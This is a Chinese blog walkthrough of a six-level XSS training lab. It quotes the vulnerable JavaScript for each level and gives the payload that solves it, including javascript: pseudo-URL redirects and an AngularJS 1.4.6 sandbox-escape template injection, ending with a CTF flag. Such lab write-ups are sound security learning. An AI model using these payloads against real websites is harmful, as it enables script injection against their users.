xss-lab学习
xss-lab
进入靶场
level 1
改变参数username
,页面显示发生变化,说明存在xss点
尝试payload:
<script>alert</script>
level 2
尝试上一关的做法:
失败。于是审计源码,关键代码如下:
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '<script>alert(1)</script>';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
尝试提前闭合username
变量,payload如下:
username=';</script><script>alert(1)<script>
level 3
尝试上一关的做法,依然通过……
本来这个题目,单引号会被转义的,但是因为提前闭合了<script>
标签,因此,前面的都闭合了。
level 4
关键代码如下:
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
伪链接
javascript:alert(1)
,浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl
作为跳转url,因此payload如下:
level4?jumpUrl=javascript:alert(1)
等待几秒,成功
level 5
尝试提交payload:
<script>alert(1)</script>
提示无法使用POST
请求,于是审计源代码,关键代码如下所示:
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
payload如下:
level5?autosubmit=1&action=javascript:alert(1)
level 6
username
的输入全部被输出到页面中。
输入{undefined{3*3}}
输出9,考虑可能存在模板注入。
审计源码,关键代码如下:
<script type="text/javascript" src="main.js"></script>
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
结合wappalzer
,可知此处存在模板xss
payload:
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
AngularJS客户端模板注入(XSS)
Angular的沙箱逃逸:AngularJS Sandbox Bypasses
you win!
here is your flag : n1book{xss_is_so_interesting}
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/15959544.html